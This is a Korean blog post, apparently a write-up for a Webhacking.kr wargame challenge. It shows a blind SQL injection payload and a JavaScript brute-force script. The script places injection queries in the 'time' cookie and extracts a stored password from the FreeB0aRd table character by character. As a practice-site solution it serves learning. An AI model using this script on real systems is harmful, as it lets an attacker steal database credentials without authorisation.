Blind SQL Injection문제이다.
time=1 and (select length(Password) from FreeB0aRd)=9
테이블명은 페이지에 노출, 컬럼명은 <input name=Password>
dictionary = "0123456789abcdefghijklmnopqrstuvwxyz_";
password = "";
function go(query,n)
{
query = "0 or (select ascii(substr(Password,"+n+",1)) from FreeB0aRd)="+query
document.cookie="time="+query; // sql injection 쿼리문을 time 쿠키에 대입
console.log(query);
x = new XMLHttpRequest();
x.open("GET","index.php",false);
x.send(null);
if(x.responseText.indexOf("00:01")!=-1) return "true";
else return "false";
}
for(i=1;i<=9;i++){ // 패스워드 컬럼 데이터의 길이만큼 반복문 실행
for(j=0;j<=dictionary.length;j++){
ascii = dictionary.substr(j,1).charCodeAt(0);
if(go(ascii,i)=="true"){
password+=dictionary.substr(j,1); console.log("[*] "+password); break;
}
}
}
'Hacking > Webhacking.kr(스포주의)' 카테고리의 다른 글
Webhacking.kr 29 (0) | 2016.01.15 |
---|---|
Webhacking.kr 35 (0) | 2016.01.15 |
blind sql injection (0) | 2016.01.15 |
Webhacking.kr 45 (0) | 2016.01.15 |
Webhacking.kr 30 (0) | 2016.01.15 |